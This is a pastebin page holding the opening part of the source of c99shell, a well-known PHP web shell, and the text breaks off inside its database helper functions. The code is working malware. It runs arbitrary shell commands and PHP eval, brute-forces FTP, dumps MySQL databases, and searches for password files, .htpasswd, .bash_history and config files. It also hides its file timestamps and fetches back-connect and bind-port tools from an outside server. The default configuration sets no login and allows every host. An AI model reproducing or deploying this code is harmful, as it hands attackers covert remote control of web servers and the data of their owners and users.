FreeTextHost.in host your text & codes anonymously


FREE TEXT HOST

You can save codes, scripts, sources & general debugging text and share / access / use them at any time (anonymously).
You can even set yourself a password if you want to keep it just for yourself.

Posted by "c99shellcronos" on Sat, March 24th, 2012, 10:43 PM - Never Expires
Download | New paste

  1. <?php
  2. /*
  3. *
  4. *                                        c99shell.php v.1.0 pre-release build #13
  5. *                                                        Freeware license.
  6. *                                                                © CCTeaM.
  7. *                                          Develoed by Pedram
  8. */
  9. //Starting calls
  10. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  11. error_reporting(5);
  12. @ignore_user_abort(true);
  13. @set_magic_quotes_runtime(0);
  14. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  15. define("starttime",getmicrotime());
  16. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  17. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  18. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  19.  
  20. $shver = "1.0 pre-release build #13"; //Current version
  21. //CONFIGURATION AND SETTINGS
  22. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  23. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  24. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  25. }
  26.  
  27. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  28.  
  29. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  30. if (empty($surl))
  31. {
  32.  $surl = "?action=logout&".$includestr; //Self url
  33. }
  34. $surl = htmlspecialchars($surl);
  35.  
  36. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  37.  
  38. //Authentication
  39. $login = ""; //login
  40. //DON'T FORGOT ABOUT PASSWORD!!!
  41. $pass = ""; //password
  42. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  43.  
  44. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  45. $login_txt = "Restricted area"; //http-auth message.
  46. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  47.  
  48. $gzipencode = true; //Encode with gzip?
  49.  
  50. $updatenow = false; //If true, update now (this variable will be false)
  51.  
  52. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  53. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  54.  
  55. $filestealth = true; //if true, don't change modify- and access-time
  56.  
  57. $donated_html = "<center><b>Owned by hacker</b></center>";
  58.                 /* If you publish free shell and you wish
  59.                 add link to your site or any other information,
  60.                 put here your html. */
  61. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  62.  
  63. $curdir = "./"; //start folder
  64. //$curdir = getenv("DOCUMENT_ROOT");
  65. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  66. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  67.  
  68. $log_email = "user@host.tld"; //Default e-mail for sending logs
  69.  
  70. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  71. $sort_save = true; //If true then save sorting-position using cookies.
  72.  
  73. // Registered file-types.
  74. //  array(
  75. //   "{action1}"=>array("ext1","ext2","ext3",...),
  76. //   "{action2}"=>array("ext4","ext5","ext6",...),
  77. //   ...
  78. //  )
  79. $ftypes  = array(
  80.  "html"=>array("html","htm","shtml"),
  81.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  82.  "exe"=>array("sh","install","bat","cmd"),
  83.  "ini"=>array("ini","inf"),
  84.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  85.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  86.  "sdb"=>array("sdb"),
  87.  "phpsess"=>array("sess"),
  88.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar","mp3","wma","ace","pdf")
  89. );
  90.  
  91. // Registered executable file-types.
  92. //  array(
  93. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  94. //   ...
  95. //  )
  96. //   {command}: %f% = filename
  97. $exeftypes  = array(
  98.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  99.  "perl %f%" => array("pl","cgi")
  100. );
  101.  
  102. /* Highlighted files.
  103.   array(
  104.    i=>array({regexp},{type},{opentag},{closetag},{break})
  105.    ...
  106.   )
  107.   string {regexp} - regular exp.
  108.   int {type}:
  109.         0 - files and folders (as default),
  110.         1 - files only, 2 - folders only
  111.   string {opentag} - open html-tag, e.g. "<b>" (default)
  112.   string {closetag} - close html-tag, e.g. "</b>" (default)
  113.   bool {break} - if true and found match then break
  114. */
  115. $regxp_highlight  = array(
  116.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  117.   array("config.php",1) // example
  118. );
  119.  
  120. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  121.                                                                          // array (i=>{letter} ...); string {letter} - letter of a drive
  122. //$safemode_diskettes = range("a","z");
  123. $hexdump_lines = 8;        // lines in hex preview file
  124. $hexdump_rows = 24;        // 16, 24 or 32 bytes in one line
  125.  
  126. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  127.  
  128. $bindport_pass = "c99";          // default password for binding
  129. $bindport_port = "31373"; // default port for binding
  130. $bc_port = "31373"; // default port for back-connect
  131. $datapipe_localport = "8081"; // default port for datapipe
  132.  
  133. // Command-aliases
  134. if (!$win)
  135. {
  136.  $cmdaliases = array(
  137.   array("-----------------------------------------------------------", "ls -la"),
  138.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  139.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  140.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  141.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  142.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  143.   array("find config* files", "find / -type f -name \"config*\""),
  144.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  145.   array("find all writable folders and files", "find / -perm -2 -ls"),
  146.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  147.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  148.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  149.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  150.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  151.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  152.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  153.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  154.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  155.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  156.   array("show opened ports", "netstat -an | grep -i listen")
  157.  );
  158. }
  159. else
  160. {
  161.  $cmdaliases = array(
  162.   array("-----------------------------------------------------------", "dir"),
  163.   array("show opened ports", "netstat -an")
  164.  );
  165. }
  166.  
  167. $sess_cookie = "c99shvars"; // Cookie-variable name
  168.  
  169. $usefsbuff = true; //Buffer-function
  170. $copy_unset = false; //Remove copied files from buffer after pasting
  171.  
  172. //Quick launch
  173. $quicklaunch = array(
  174.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  175.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  176.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  177.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  178.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  179.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  180.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  181.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  182.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  183.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  184.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  185.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  186.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  187.  array("<b>Update</b>",$surl."act=update&d=%d"),
  188.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  189.  array("<b>Self remove</b>",$surl."act=selfremove"),
  190.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  191. );
  192.  
  193. //Highlight-code colors
  194. $highlight_background = "#c0c0c0";
  195. $highlight_bg = "#FFFFFF";
  196. $highlight_comment = "#6A6A6A";
  197. $highlight_default = "#0000BB";
  198. $highlight_html = "#1300FF";
  199. $highlight_keyword = "#007700";
  200. $highlight_string = "#000000";
  201.  
  202. @$f = $_REQUEST["f"];
  203. @extract($_REQUEST["c99shcook"]);
  204.  
  205. //END CONFIGURATION
  206.  
  207.  
  208. //                                 \/        Next code isn't for editing        \/
  209. @set_time_limit(0);
  210. $tmp = array();
  211. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  212. $s = "!^(".implode("|",$tmp).")$!i";
  213. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  214. if (!empty($login))
  215. {
  216.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  217.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  218.  {
  219.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  220.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  221.   header("HTTP/1.0 401 Unauthorized");
  222.   exit($accessdeniedmess);
  223.  }
  224. }
  225. if ($act != "img")
  226. {
  227. $lastdir = realpath(".");
  228. chdir($curdir);
  229. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  230. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  231. if (!is_array($sess_data)) {$sess_data = array();}
  232. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  233. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  234.  
  235. $disablefunc = @ini_get("disable_functions");
  236. if (!empty($disablefunc))
  237. {
  238.  $disablefunc = str_replace(" ","",$disablefunc);
  239.  $disablefunc = explode(",",$disablefunc);
  240. }
  241.  
  242. if (!function_exists("c99_buff_prepare"))
  243. {
  244. function c99_buff_prepare()
  245. {
  246.  global $sess_data;
  247.  global $act;
  248.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  249.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  250.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  251.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  252.  sort($sess_data["copy"]);
  253.  sort($sess_data["cut"]);
  254.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  255.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  256. }
  257. }
  258. c99_buff_prepare();
  259. if (!function_exists("c99_sess_put"))
  260. {
  261. function c99_sess_put($data)
  262. {
  263.  global $sess_cookie;
  264.  global $sess_data;
  265.  c99_buff_prepare();
  266.  $sess_data = $data;
  267.  $data = serialize($data);
  268.  setcookie($sess_cookie,$data);
  269. }
  270. }
  271. foreach (array("sort","sql_sort") as $v)
  272. {
  273.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  274.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  275. }
  276. if ($sort_save)
  277. {
  278.  if (!empty($sort)) {setcookie("sort",$sort);}
  279.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  280. }
  281. if (!function_exists("str2mini"))
  282. {
  283. function str2mini($content,$len)
  284. {
  285.  if (strlen($content) > $len)
  286.  {
  287.   $len = ceil($len/2) - 2;
  288.   return substr($content, 0,$len)."...".substr($content,-$len);
  289.  }
  290.  else {return $content;}
  291. }
  292. }
  293. if (!function_exists("view_size"))
  294. {
  295. function view_size($size)
  296. {
  297.  if (!is_numeric($size)) {return false;}
  298.  else
  299.  {
  300.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  301.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  302.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  303.   else {$size = $size . " B";}
  304.   return $size;
  305.  }
  306. }
  307. }
  308. if (!function_exists("fs_copy_dir"))
  309. {
  310. function fs_copy_dir($d,$t)
  311. {
  312.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  313.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  314.  $h = opendir($d);
  315.  while (($o = readdir($h)) !== false)
  316.  {
  317.   if (($o != ".") and ($o != ".."))
  318.   {
  319.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  320.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  321.    if (!$ret) {return $ret;}
  322.   }
  323.  }
  324.  closedir($h);
  325.  return true;
  326. }
  327. }
  328. if (!function_exists("fs_copy_obj"))
  329. {
  330.  
  331. function fs_copy_obj($d,$t)
  332. {
  333.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  334.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  335.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  336.  if (is_dir($d))
  337.  {
  338.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  339.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  340.   return fs_copy_dir($d,$t);
  341.  }
  342.  elseif (is_file($d)) {return copy($d,$t);}
  343.  else {return false;}
  344. }
  345. }
  346. if (!function_exists("fs_move_dir"))
  347. {
  348. function fs_move_dir($d,$t)
  349. {
  350.  $h = opendir($d);
  351.  if (!is_dir($t)) {mkdir($t);}
  352.  while (($o = readdir($h)) !== false)
  353.  {
  354.   if (($o != ".") and ($o != ".."))
  355.   {
  356.    $ret = true;
  357.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  358.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  359.    if (!$ret) {return $ret;}
  360.   }
  361.  }
  362.  closedir($h);
  363.  return true;
  364. }
  365. }
  366. if (!function_exists("fs_move_obj"))
  367. {
  368. function fs_move_obj($d,$t)
  369. {
  370.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  371.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  372.  if (is_dir($d))
  373.  {
  374.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  375.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  376.   return fs_move_dir($d,$t);
  377.  }
  378.  elseif (is_file($d))
  379.  {
  380.   if(copy($d,$t)) {return unlink($d);}
  381.   else {unlink($t); return false;}
  382.  }
  383.  else {return false;}
  384. }
  385. }
  386. if (!function_exists("fs_rmdir"))
  387. {
  388. function fs_rmdir($d)
  389. {
  390.  $h = opendir($d);
  391.  while (($o = readdir($h)) !== false)
  392.  {
  393.   if (($o != ".") and ($o != ".."))
  394.   {
  395.    if (!is_dir($d.$o)) {unlink($d.$o);}
  396.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  397.   }
  398.  }
  399.  closedir($h);
  400.  rmdir($d);
  401.  return !is_dir($d);
  402. }
  403. }
  404. if (!function_exists("fs_rmobj"))
  405. {
  406. function fs_rmobj($o)
  407. {
  408.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  409.  if (is_dir($o))
  410.  {
  411.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  412.   return fs_rmdir($o);
  413.  }
  414.  elseif (is_file($o)) {return unlink($o);}
  415.  else {return false;}
  416. }
  417. }
  418. if (!function_exists("myshellexec"))
  419. {
  420. function myshellexec($cmd)
  421. {
  422.  global $disablefunc;
  423.  $result = "";
  424.  if (!empty($cmd))
  425.  {
  426.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  427.   elseif (($result = `$cmd`) !== false) {}
  428.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  429.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  430.   elseif (is_resource($fp = popen($cmd,"r")))
  431.   {
  432.    $result = "";
  433.    while(!feof($fp)) {$result .= fread($fp,1024);}
  434.    pclose($fp);
  435.   }
  436.  }
  437.  return $result;
  438. }
  439. }
  440. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  441. if (!function_exists("view_perms"))
  442. {
  443. function view_perms($mode)
  444. {
  445.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  446.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  447.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  448.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  449.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  450.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  451.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  452.  else {$type = "?";}
  453.  
  454.  $owner["read"] = ($mode & 00400)?"r":"-";
  455.  $owner["write"] = ($mode & 00200)?"w":"-";
  456.  $owner["execute"] = ($mode & 00100)?"x":"-";
  457.  $group["read"] = ($mode & 00040)?"r":"-";
  458.  $group["write"] = ($mode & 00020)?"w":"-";
  459.  $group["execute"] = ($mode & 00010)?"x":"-";
  460.  $world["read"] = ($mode & 00004)?"r":"-";
  461.  $world["write"] = ($mode & 00002)? "w":"-";
  462.  $world["execute"] = ($mode & 00001)?"x":"-";
  463.  
  464.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  465.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  466.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  467.  
  468.  return $type.join("",$owner).join("",$group).join("",$world);
  469. }
  470. }
  471. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
  472. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
  473. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
  474. if (!function_exists("parse_perms"))
  475. {
  476. function parse_perms($mode)
  477. {
  478.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  479.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  480.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  481.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  482.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  483.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  484.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  485.  else {$t = "?";}
  486.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  487.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  488.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  489.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  490. }
  491. }
  492. if (!function_exists("parsesort"))
  493. {
  494. function parsesort($sort)
  495. {
  496.  $one = intval($sort);
  497.  $second = substr($sort,-1);
  498.  if ($second != "d") {$second = "a";}
  499.  return array($one,$second);
  500. }
  501. }
  502. if (!function_exists("view_perms_color"))
  503. {
  504. function view_perms_color($o)
  505. {
  506.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  507.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  508.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  509. }
  510. }
  511. if (!function_exists("c99getsource"))
  512. {
  513. function c99getsource($fn)
  514. {
  515.  global $c99sh_sourcesurl;
  516.  $array = array(
  517.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  518.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  519.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  520.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  521.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  522.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  523.  );
  524.  $name = $array[$fn];
  525.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  526.  else {return false;}
  527. }
  528.  
  529. }
  530. if (!function_exists("mysql_dump"))
  531. {
  532. function mysql_dump($set)
  533. {
  534.  global $shver;
  535.  $sock = $set["sock"];
  536.  $db = $set["db"];
  537.  $print = $set["print"];
  538.  $nl2br = $set["nl2br"];
  539.  $file = $set["file"];
  540.  $add_drop = $set["add_drop"];
  541.  $tabs = $set["tabs"];
  542.  $onlytabs = $set["onlytabs"];
  543.  $ret = array();
  544.  $ret["err"] = array();
  545.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  546.  if (empty($db)) {$db = "db";}
  547.  if (empty($print)) {$print = 0;}
  548.  if (empty($nl2br)) {$nl2br = 0;}
  549.  if (empty($add_drop)) {$add_drop = true;}
  550.  if (empty($file))
  551.  {
  552.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  553.  }
  554.  if (!is_array($tabs)) {$tabs = array();}
  555.  if (empty($add_drop)) {$add_drop = true;}
  556.  if (sizeof($tabs) == 0)
  557.  {
  558.   // retrive tables-list
  559.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  560.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  561.  }
  562.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  563. # Home page: http://ccteam.ru
  564. #
  565. # Host settings:
  566. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  567. # Date: ".date("d.m.Y H:i:s")."
  568. # DB: \"".$db."\"
  569. #---------------------------------------------------------
  570. ";
  571.  $c = count($onlytabs);
  572.  foreach($tabs as $tab)
  573.  {
  574.   if ((in_array($tab,$onlytabs)) or (!$c))
  575.   {
  576.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  577.    // recieve query for create table structure
  578.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  579.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  580.    else
  581.    {
  582.     $row = mysql_fetch_row($res);
  583.     $out .= $row["1"].";\n\n";
  584.     // recieve table variables
  585.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  586.     if (mysql_num_rows($res) > 0)
  587.     {
  588.      while ($row = mysql_fetch_assoc($res))
  589.      {
  590.       $keys = implode("`, `", array_keys($row));
  591.       $values = array_values($row);
  592.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  593.       $values = implode("', '", $values);
  594.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  595.       $out .= $sql;
  596.      }
  597.     }
  598.    }
  599.   }
  600.  }
  601.  $out .= "#---------------------------------------------------------------------------------\n\n";
  602.  if ($file)
  603.  {
  604.   $fp = fopen($file, "w");
  605.   if (!$fp) {$ret["err"][] = 2;}
  606.   else
  607.   {
  608.    fwrite ($fp, $out);
  609.    fclose ($fp);
  610.   }
  611.  }
  612.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  613.  return $out;
  614. }
  615. }
  616. if (!function_exists("mysql_buildwhere"))
  617. {
  618. function mysql_buildwhere($array,$sep=" and",$functs=array())
  619. {
  620.  if (!is_array($array)) {$array = array();}
  621.  $result = "";
  622.  foreach($array as $k=>$v)
  623.  {
  624.   $value = "";
  625.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  626.   $value .= "'".addslashes($v)."'";
  627.   if (!empty($functs[$k])) {$value .= ")";}
  628.   $result .= "`".$k."` = ".$value.$sep;
  629.  }
  630.  $result = substr($result,0,strlen($result)-strlen($sep));
  631.  return $result;
  632. }
  633. }
  634. if (!function_exists("mysql_fetch_all"))
  635. {
  636. function mysql_fetch_all($query,$sock)
  637. {
  638.  if ($sock) {$result = mysql_query($query,$sock);}
  639.  else {$result = mysql_query($query);}
  640.  $array = array();
  641.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  642.  mysql_free_result($result);
  643.  return $array;
  644. }
  645. }
  646. if (!function_exists("mysql_smarterror"))
  647. {
  648. function mysql_smarterror($type,$sock)
  649. {
  650.  if ($sock) {$error = mysql_error($sock);}
  651.  else {$error = mysql_error();}
  652.  $error = htmlspecialchars($error);
  653.  return $error;
  654. }
  655. }
  656. if (!function_exists("mysql_query_form"))
  657. {
  658. function mysql_query_form()
  659. {
  660.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  661.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  662.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  663.  if ((!$submit) or ($sql_act))
  664.  {
  665.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  666.   if ($tbl_struct)
  667.   {
  668.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  669.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  670.    echo "</td></tr></table>";
  671.   }
  672.  }
  673.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  674. }
  675. }
  676. if (!function_exists("mysql_create_db"))
  677. {
  678. function mysql_create_db($db,$sock="")
  679. {
  680.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  681.  if ($sock) {return mysql_query($sql,$sock);}
  682.  else {return mysql_query($sql);}
